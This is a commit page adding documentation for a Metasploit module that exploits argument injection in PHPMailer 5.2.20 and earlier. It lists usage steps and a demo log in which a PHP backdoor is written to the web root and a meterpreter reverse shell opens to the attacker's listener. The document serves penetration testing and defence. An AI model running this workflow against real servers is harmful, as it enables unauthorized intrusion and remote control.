Skip to content

Commit 1400f6f

Browse files
committed
Land rapid7#7769, add docs for phpmailer_arg_injection
2 parents f311511 + 960c1a1 commit 1400f6f

File tree

1 file changed

+79
-0
lines changed

1 file changed

+79
-0
lines changed
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
## Vulnerable Application
2+
3+
PHPMailer versions up to and including [5.2.20](https://github.com/PHPMailer/PHPMailer/archive/v5.2.20.tar.gz) are affected by a vulnerability which can be leveraged by an attacker to
4+
write a file with partially controlled contents to an arbitrary location through injection of arguments that are passed
5+
to the sendmail binary. This module writes a payload to the web root of the webserver before then executing it with an
6+
HTTP request. The user running PHPMailer must have write access to the specified WEB_ROOT directory and successful
7+
exploitation can take a few minutes.
8+
9+
[5.1.18](https://github.com/PHPMailer/PHPMailer/archive/v5.2.18.tar.gz) is also targetted.
10+
11+
## Verification Steps
12+
13+
1. Install a vulnerable PHPMailer
14+
2. Start msfconsole
15+
3. `use exploit/multi/http/phpmailer_arg_injection`
16+
4. Set the TARGETURI and WEB_ROOT options as applicable
17+
5. `exploit`
18+
6. Verify the module yields a PHP meterpreter session in < 5 minutes
19+
7. Verify the malicious PHP file was automatically removed
20+
21+
## Scenarios
22+
23+
Demo taken directly from [PR7768](https://github.com/rapid7/metasploit-framework/pull/7768)
24+
25+
```
26+
msf (S:0 J:0) exploit(php_mailer) > options
27+
28+
Module options (exploit/linux/http/php_mailer):
29+
30+
Name Current Setting Required Description
31+
---- --------------- -------- -----------
32+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
33+
RHOST 192.168.90.134 yes The target address
34+
RPORT 8080 yes The target port
35+
SSL false no Negotiate SSL/TLS for outgoing connections
36+
TARGETURI / yes Path to the application root
37+
TRIGGERURI no Path to the uploaded payload
38+
VHOST no HTTP server virtual host
39+
WEB_ROOT /www yes Path to the web root
40+
41+
42+
43+
Payload options (php/meterpreter/reverse_tcp):
44+
45+
Name Current Setting Required Description
46+
---- --------------- -------- -----------
47+
LHOST 192.168.90.134 yes The listen address
48+
LPORT 4444 yes The listen port
49+
50+
51+
Exploit target:
52+
53+
Id Name
54+
-- ----
55+
0 Automatic
56+
57+
58+
59+
msf (S:0 J:0) exploit(php_mailer) > rexploit
60+
[*] Reloading module...
61+
62+
[*] [2016.12.29-17:03:47] Started reverse TCP handler on 192.168.90.134:4444
63+
[*] [2016.12.29-17:03:47] Writing the backdoor to /www/0IxI5AFB.php
64+
[*] [2016.12.29-17:04:07] Sleeping before requesting the written file
65+
[*] [2016.12.29-17:04:07] Waiting for up to 300 seconds to trigger the payload
66+
[+] [2016.12.29-17:04:48] Successfully found the payload
67+
[*] [2016.12.29-17:05:50] Sending stage (34122 bytes) to 172.17.0.2
68+
[*] Meterpreter session 4 opened (192.168.90.134:4444 -> 172.17.0.2:47280) at 2016-12-29 17:05:50 -0500
69+
[+] [2016.12.29-17:05:50] Deleted /www/0IxI5AFB.php
70+
[+] [2016.12.29-17:06:10] Successfully triggered the payload
71+
72+
73+
meterpreter > sysinfo
74+
Computer : 90f0c8e8dbe4
75+
OS : Linux 90f0c8e8dbe4 4.8.15-200.fc24.x86_64 #1 SMP Thu Dec 15 23:09:22 UTC 2016 x86_64
76+
Meterpreter : php/linux
77+
78+
meterpreter >
79+
```

0 commit comments

Comments
 (0)